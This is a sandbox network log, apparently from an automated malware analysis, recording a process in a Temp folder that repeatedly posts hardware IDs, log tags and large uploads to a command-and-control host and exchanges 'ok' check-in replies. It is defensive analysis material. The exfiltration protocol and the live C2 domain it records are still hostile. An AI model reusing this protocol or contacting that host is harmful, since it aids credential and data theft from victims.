2024-11-21 13:11:33 UTC	1369	IN	Data Raw: 32 66 34 63 0d 0a 73 36 49 6d 34 6c 6d 2b 53 72 4f 49 71 43 37 4e 66 75 65 66 73 7a 4d 61 44 30 78 43 4b 42 2f 38 56 37 67 6f 6a 42 33 72 45 2b 47 7a 38 67 37 33 51 72 70 47 70 35 47 6b 4d 49 4a 71 72 49 58 33 4f 78 6c 44 48 41 68 6f 55 4c 46 43 70 57 6e 65 56 38 6f 59 2f 37 79 31 4a 75 6c 51 74 6b 53 6b 6c 4b 59 38 78 48 37 6a 6d 62 51 33 48 77 31 4e 57 69 67 66 2f 46 65 34 4b 49 77 64 37 51 76 78 74 4c 78 72 77 31 2b 72 54 66 53 37 70 7a 66 46 65 66 54 63 71 48 49 4d 51 30 4e 45 4b 41 6e 38 57 61 35 6b 31 31 72 50 47 50 57 35 75 79 6e 69 58 72 4e 4e 70 4a 43 6c 4e 74 42 36 34 5a 47 7a 4d 52 38 47 54 56 70 74 57 4c 6f 51 37 69 6a 54 52 59 64 49 73 49 47 37 4a 39 39 58 70 67 71 70 31 4c 42 38 78 58 6d 69 78 50 63 2f 45 67 42 46 51 6d 46 64 73 31 65 6b 65 Data Ascii: 2f4cs6Im4lm+SrOIqC7NfuefszMaD0xCKB/8V7gojB3rE+Gz8g73QrpGp5GkMIJqrIX3OxlDHAhoULFCpWneV8oY/7y1JulQtkSklKY8xH7jmbQ3Hw1NWigf/Fe4KIwd7QvxtLxrw1+rTfS7pzfFefTcqHIMQ0NEKAn8Wa5k11rPGPW5uyniXrNNpJClNtB64ZGzMR8GTVptWLoQ7ijTRYdIsIG7J99Xpgqp1LB8xXmixPc/EgBFQmFds1eke
2024-11-21 13:11:33 UTC	1369	IN	Data Raw: 49 73 4f 48 77 47 2b 64 58 73 56 79 37 6c 65 6b 6a 6a 47 79 69 6d 37 74 38 54 55 4e 57 57 6d 68 61 76 46 65 75 65 74 56 56 79 42 72 77 76 37 73 6a 37 6c 32 35 52 4c 2b 63 71 44 48 44 64 4f 4b 5a 74 7a 55 48 44 67 51 47 4b 46 61 6b 45 50 67 6f 34 31 48 4d 49 66 4f 76 38 44 61 6a 54 66 31 4e 75 74 72 78 66 4d 4e 6e 37 35 53 7a 50 42 67 46 54 30 6c 70 55 72 78 51 6f 32 6a 52 56 73 67 57 39 37 53 36 49 4f 52 47 74 55 36 6b 6d 71 55 34 67 6a 75 69 6d 36 39 38 54 55 4e 30 53 32 4e 64 76 46 32 31 4b 4d 73 54 33 6c 44 33 74 66 42 78 72 56 79 32 51 62 43 52 71 6a 2f 4d 66 75 69 54 75 44 59 54 42 55 78 4e 61 46 32 38 56 61 5a 73 30 46 50 41 48 76 32 34 6f 69 72 6b 46 50 4d 4b 73 59 4c 70 5a 49 4a 56 36 59 71 79 4f 77 4e 42 63 55 74 6d 58 37 74 47 34 48 66 72 45 34 Data Ascii: IsOHwG+dXsVy7lekjjGyim7t8TUNWWmhavFeuetVVyBrwv7sj7l25RL+cqDHDdOKZtzUHDgQGKFakEPgo41HMIfOv8DajTf1NutrxfMNn75SzPBgFT0lpUrxQo2jRVsgW97S6IORGtU6kmqU4gjuim698TUN0S2NdvF21KMsT3lD3tfBxrVy2QbCRqj/MfuiTuDYTBUxNaF28VaZs0FPAHv24oirkFPMKsYLpZIJV6YqyOwNBcUtmX7tG4HfrE4
2024-11-21 13:11:33 UTC	1369	IN	Data Raw: 39 79 72 2f 52 72 74 4a 6f 4a 6e 75 41 76 78 56 36 5a 43 30 4d 42 51 45 42 41 59 6f 58 76 77 49 6d 53 6a 58 54 39 56 66 34 61 2b 39 4f 65 6f 59 74 56 75 37 6c 75 6c 79 67 6a 6e 6d 6c 37 73 35 45 68 4d 4c 57 6e 68 61 73 45 62 73 62 4d 59 64 69 56 44 68 73 72 38 37 34 31 50 79 57 36 43 58 75 54 2f 48 63 71 36 55 70 6a 45 5a 51 77 6f 49 66 56 71 77 56 71 31 39 6d 30 7a 52 45 2b 61 2b 2f 43 48 38 57 62 45 4b 69 64 54 70 4a 49 49 74 6f 71 6d 30 4d 68 73 45 55 6c 6b 6c 63 62 64 63 6f 32 54 56 57 6f 64 65 73 4c 2f 77 63 62 34 61 2f 55 36 6e 32 76 46 73 6b 43 36 33 7a 2b 42 73 52 78 77 4b 55 53 68 48 2f 41 6a 79 4a 70 52 50 68 30 69 77 2f 72 4d 37 2f 31 4b 2b 58 4c 58 64 6c 77 4c 44 65 4f 33 51 75 54 63 56 42 46 52 65 63 78 32 30 55 37 70 79 36 6d 50 73 48 50 61 Data Ascii: 9yr/RrtJoJnuAvxV6ZC0MBQEBAYoXvwImSjXT9Vf4a+9OeoYtVu7lulygjnml7s5EhMLWnhasEbsbMYdiVDhsr8741PyW6CXuT/Hcq6UpjEZQwoIfVqwVq19m0zRE+a+/CH8WbEKidTpJIItoqm0MhsEUlklcbdco2TVWodesL/wcb4a/U6n2vFskC63z+BsRxwKUShH/AjyJpRPh0iw/rM7/1K+XLXdlwLDeO3QuTcVBFRecx20U7py6mPsHPa
2024-11-21 13:11:33 UTC	1369	IN	Data Raw: 6b 54 2f 62 4c 57 4d 71 6e 79 4d 4e 66 72 63 37 33 77 30 43 56 52 46 5a 31 62 38 48 75 42 73 6c 41 57 48 4e 66 32 30 74 53 66 71 46 70 78 41 70 70 65 6d 4f 34 49 37 6f 70 44 33 5a 46 55 43 54 6c 68 6c 58 72 73 63 70 33 4c 54 48 59 6c 51 2f 76 6e 6f 61 65 78 65 72 55 65 35 6e 65 55 36 7a 48 75 69 67 2f 6b 6c 56 52 55 45 45 44 73 66 2f 45 4c 67 4d 4a 51 61 79 52 33 78 75 72 34 71 2f 30 61 37 53 61 43 5a 37 67 4c 38 55 4f 2b 52 73 6a 49 53 50 58 70 70 59 6b 47 78 58 36 63 71 39 46 72 52 45 38 36 48 68 7a 6a 71 52 50 39 73 74 59 79 71 66 49 77 31 2b 74 7a 76 66 44 51 4a 56 45 56 6e 56 76 35 77 70 33 37 58 48 59 6c 51 39 50 6e 6f 61 63 68 5a 73 45 2b 34 6e 65 73 64 79 47 58 76 6b 37 42 2b 4e 51 52 53 53 79 67 66 2f 46 7a 67 4d 4a 52 63 7a 51 44 39 74 72 64 6c Data Ascii: kT/bLWMqnyMNfrc73w0CVRFZ1b8HuBslAWHNf20tSfqFpxAppemO4I7opD3ZFUCTlhlXrscp3LTHYlQ/vnoaexerUe5neU6zHuig/klVRUEEDsf/ELgMJQayR3xur4q/0a7SaCZ7gL8UO+RsjISPXppYkGxX6cq9FrRE86HhzjqRP9stYyqfIw1+tzvfDQJVEVnVv5wp37XHYlQ9PnoachZsE+4nesdyGXvk7B+NQRSSygf/FzgMJRczQD9trdl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49937	188.114.97.3	443	4608	C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:11:35 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=PIHX0PUWUUOWH User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12835 Host: cook-rain.sbs
2024-11-21 13:11:35 UTC	12835	OUT	Data Raw: 2d 2d 50 49 48 58 30 50 55 57 55 55 4f 57 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 35 36 31 31 46 36 36 39 38 36 45 35 34 37 30 34 41 46 46 35 41 44 45 43 39 45 36 42 44 37 37 0d 0a 2d 2d 50 49 48 58 30 50 55 57 55 55 4f 57 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 50 49 48 58 30 50 55 57 55 55 4f 57 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 50 49 48 58 30 Data Ascii: --PIHX0PUWUUOWHContent-Disposition: form-data; name="hwid"85611F66986E54704AFF5ADEC9E6BD77--PIHX0PUWUUOWHContent-Disposition: form-data; name="pid"2--PIHX0PUWUUOWHContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--PIHX0
2024-11-21 13:11:36 UTC	983	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:11:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h4fgqugdk16ql34moap6keclaf; expires=Mon, 17-Mar-2025 06:58:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fRV9UbnYIIdHFN114QSai8%2Fu6PjSjJ0llOeWla2cysx0oGwrcki4N0iUwXQPhR5GLkaBwsbr4VQUO2iE%2FZyRAk%2BPSWwkGH4tE6f2oZoORzqT7qfOLtGwsqGwsT3XzXmb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e60ed2eafe319cb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2314&sent=9&recv=16&lost=0&retrans=0&sent_bytes=2828&recv_bytes=13767&delivery_rate=1250000&cwnd=247&unsent_bytes=0&cid=a26a25750415a984&ts=972&x=0"
2024-11-21 13:11:36 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-21 13:11:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49945	188.114.97.3	443	4608	C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:11:38 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LCROQNGEVVS1ST8BNP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15111 Host: cook-rain.sbs
2024-11-21 13:11:38 UTC	15111	OUT	Data Raw: 2d 2d 4c 43 52 4f 51 4e 47 45 56 56 53 31 53 54 38 42 4e 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 35 36 31 31 46 36 36 39 38 36 45 35 34 37 30 34 41 46 46 35 41 44 45 43 39 45 36 42 44 37 37 0d 0a 2d 2d 4c 43 52 4f 51 4e 47 45 56 56 53 31 53 54 38 42 4e 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4c 43 52 4f 51 4e 47 45 56 56 53 31 53 54 38 42 4e 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --LCROQNGEVVS1ST8BNPContent-Disposition: form-data; name="hwid"85611F66986E54704AFF5ADEC9E6BD77--LCROQNGEVVS1ST8BNPContent-Disposition: form-data; name="pid"2--LCROQNGEVVS1ST8BNPContent-Disposition: form-data; name="lid"LOGS11--LiveT
2024-11-21 13:11:38 UTC	982	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:11:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m7ggte24afu1cv1pnf5kf59k64; expires=Mon, 17-Mar-2025 06:58:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5ErSLvU%2B7Qqd2PeVuKcVi90HztCFImgL5QbBmtJcXMIx0tk9OGrKOai%2FhvvvkDhqMMkUchQnYKtlJ0zi5j8D5IPqATP3Mz09x6FOgLFgOJIvsa6KTBGvKGMvsLfDtSuS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e60ed3fb962de93-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1633&sent=10&recv=21&lost=0&retrans=0&sent_bytes=2829&recv_bytes=16048&delivery_rate=1730883&cwnd=243&unsent_bytes=0&cid=04f78d9987428c2e&ts=915&x=0"
2024-11-21 13:11:38 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-21 13:11:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49954	188.114.97.3	443	4608	C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:11:40 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=IY28ARWBNG68IOBO5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19963 Host: cook-rain.sbs
2024-11-21 13:11:40 UTC	15331	OUT	Data Raw: 2d 2d 49 59 32 38 41 52 57 42 4e 47 36 38 49 4f 42 4f 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 35 36 31 31 46 36 36 39 38 36 45 35 34 37 30 34 41 46 46 35 41 44 45 43 39 45 36 42 44 37 37 0d 0a 2d 2d 49 59 32 38 41 52 57 42 4e 47 36 38 49 4f 42 4f 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 49 59 32 38 41 52 57 42 4e 47 36 38 49 4f 42 4f 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --IY28ARWBNG68IOBO5Content-Disposition: form-data; name="hwid"85611F66986E54704AFF5ADEC9E6BD77--IY28ARWBNG68IOBO5Content-Disposition: form-data; name="pid"3--IY28ARWBNG68IOBO5Content-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-11-21 13:11:40 UTC	4632	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 e3 5f de a8 Data Ascii: +?2+?2+?o?Mp5p_
2024-11-21 13:11:41 UTC	980	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:11:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qkahcf09gnadl2lhjoa1jc1uni; expires=Mon, 17-Mar-2025 06:58:20 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9z7o9HmLlDCOnSKxmLO73tjVWWZ9gPtwIR9QfLatvm9zdILS5fuZtzP9Pj2NUAPSCZf8sQ8hj2F5x2mokRAkVt3xboRZJzZnZTeJU%2Fsd1fFD3obSunUUHpQ6bM3dLpjU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e60ed4fec9442bf-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1627&sent=14&recv=24&lost=0&retrans=0&sent_bytes=2829&recv_bytes=20921&delivery_rate=1796923&cwnd=224&unsent_bytes=0&cid=c54ed4014ba8943f&ts=927&x=0"
2024-11-21 13:11:41 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-21 13:11:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49961	188.114.97.3	443	4608	C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:11:43 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=452K1S39UH85SBZO5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1248 Host: cook-rain.sbs
2024-11-21 13:11:43 UTC	1248	OUT	Data Raw: 2d 2d 34 35 32 4b 31 53 33 39 55 48 38 35 53 42 5a 4f 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 35 36 31 31 46 36 36 39 38 36 45 35 34 37 30 34 41 46 46 35 41 44 45 43 39 45 36 42 44 37 37 0d 0a 2d 2d 34 35 32 4b 31 53 33 39 55 48 38 35 53 42 5a 4f 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 34 35 32 4b 31 53 33 39 55 48 38 35 53 42 5a 4f 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --452K1S39UH85SBZO5Content-Disposition: form-data; name="hwid"85611F66986E54704AFF5ADEC9E6BD77--452K1S39UH85SBZO5Content-Disposition: form-data; name="pid"1--452K1S39UH85SBZO5Content-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-11-21 13:11:44 UTC	979	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:11:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=njve91rusoqr7gh05aa3kgbprn; expires=Mon, 17-Mar-2025 06:58:23 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lPEXMwZXCkWYnEgP5eDdlh1Vxm5RtVzxdu3jUzvLfXBm1KCMWnPCrYUvjAb0zuedPhySLd4o1TNhHbjUqz5dpeq0s9zNk87XAxO%2BpTe1DFjmW%2B6lVEEUu5DYtlg2j6vI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e60ed62faf88c72-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1775&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=2161&delivery_rate=1551540&cwnd=165&unsent_bytes=0&cid=3b2bfdb919ad2015&ts=876&x=0"
2024-11-21 13:11:44 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-21 13:11:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49966	188.114.97.3	443	1408	C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:11:45 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-21 13:11:45 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-21 13:11:46 UTC	983	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:11:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0d3nebkfv1pb5qf6hlo2padlrb; expires=Mon, 17-Mar-2025 06:58:25 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AV0C%2FHmgAYXvLC6%2FdUgbA8GNGReefw9%2BzNlZ5qn1SphTtoVXMnt0m9ABhyUOjWEZVmyvAhwNRce0oLa8BZQRZbckpxKm72%2BCTX0V7pN8bjIQPTEOwY3JAJSeLuxrf7ik"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e60ed7109e0430f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2062&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2828&recv_bytes=904&delivery_rate=1576673&cwnd=219&unsent_bytes=0&cid=8e73db6a87b68c02&ts=1025&x=0"
2024-11-21 13:11:46 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-21 13:11:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49969	188.114.97.3	443	4608	C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:11:46 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2Z2DZUHQSL76ENI7FU User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 548789 Host: cook-rain.sbs
2024-11-21 13:11:46 UTC	15331	OUT	Data Raw: 2d 2d 32 5a 32 44 5a 55 48 51 53 4c 37 36 45 4e 49 37 46 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 35 36 31 31 46 36 36 39 38 36 45 35 34 37 30 34 41 46 46 35 41 44 45 43 39 45 36 42 44 37 37 0d 0a 2d 2d 32 5a 32 44 5a 55 48 51 53 4c 37 36 45 4e 49 37 46 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 32 5a 32 44 5a 55 48 51 53 4c 37 36 45 4e 49 37 46 55 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --2Z2DZUHQSL76ENI7FUContent-Disposition: form-data; name="hwid"85611F66986E54704AFF5ADEC9E6BD77--2Z2DZUHQSL76ENI7FUContent-Disposition: form-data; name="pid"1--2Z2DZUHQSL76ENI7FUContent-Disposition: form-data; name="lid"LOGS11--LiveT
2024-11-21 13:11:46 UTC	15331	OUT	Data Raw: 38 2f ef 1d 08 3b e6 df a2 e7 c9 3b 63 cb bb 79 dd dd 2e 76 e1 be ac 6a bc 07 de f5 47 92 00 39 90 6b 63 6a f2 65 f2 0d cb 85 05 f4 2b 74 4c a6 95 29 24 db a6 b1 ef ac 04 c2 d0 79 58 6b cf 72 0d 1b 23 1f b7 0f 48 a6 fd aa 74 1b ae 14 fc f4 16 19 e1 b2 21 62 02 f7 d3 ec 5c 8e 67 d4 9f ac 58 f3 fd b1 a9 d2 0d 96 73 3a cd 14 bf a4 b0 4b bf 78 9b 54 5b 25 b4 17 c0 8d 89 de 84 29 03 29 c1 ab 51 cd d5 9a 88 99 c2 46 68 f3 12 98 45 6e 8d 46 11 3b 5b 1b 84 d5 4f ba 24 65 16 4d fb 65 8d fa 52 ea 1e ae 9c fc 7c 02 24 a7 87 71 a9 cf 41 df b3 22 dd 06 19 f7 c0 02 57 7d ac 1a 7d 56 12 7c 67 97 72 fe 9d 63 ad 5b e9 81 57 bc 4b 7a 65 e0 35 ff a6 62 23 2c 7f 9a 6f 53 53 1e dd a5 05 d7 06 ec 8b 86 18 68 d6 4c 52 ad ce 08 21 df 0e 6c fe 46 99 92 c0 b3 f9 0b 17 d8 cf c7 3a Data Ascii: 8/;;cy.vjG9kcje+tL)$yXkr#Ht!b\gXs:KxT[%))QFhEnF;[O$eMeR\|$qA"W}}V\|grc[WKze5b#,oSShLR!lF:
2024-11-21 13:11:46 UTC	15331	OUT	Data Raw: a3 ea ab 1e 47 aa 7e eb 73 c9 42 fb ed ca bd b6 15 f7 9c 66 23 38 72 69 79 f7 fc 7c 7a e2 3d 06 c2 f2 1f 28 a6 8f 78 b0 f8 64 b4 a4 13 96 e2 96 6d 9b 82 7f 2a 67 83 6f cd 3e d8 89 4f 7d a1 ae 8f 55 1d a1 15 1b ce 96 0c 0d 6a 7d e1 79 52 81 38 10 12 33 fd fd 6b 96 07 70 28 b0 8f 88 e8 23 9e 35 96 f0 10 68 4a a1 62 1e 6e 07 07 09 2e 8c 31 3f ce 85 7d 92 e3 d9 76 cb fd 66 a7 0d 8d 88 bd 72 20 14 62 25 95 df 58 68 1b 32 5e c4 12 15 83 63 34 5a f7 c8 5c 02 16 6f 76 7c e7 0f 4f eb 77 7f 30 6e af dd 30 9a 2e ee b6 7d 6e eb f1 55 63 ba 96 d5 52 fb c6 67 48 43 85 46 c6 c2 dd 83 2c 95 69 46 5e 95 76 35 bd 3e fa 7b 5e d0 bc f3 f4 53 c7 b4 a7 c1 23 d2 e2 6f ac 6c 7d ad b6 6b 6d b6 ae 23 28 a3 b4 c6 4f e2 8e fb de c4 90 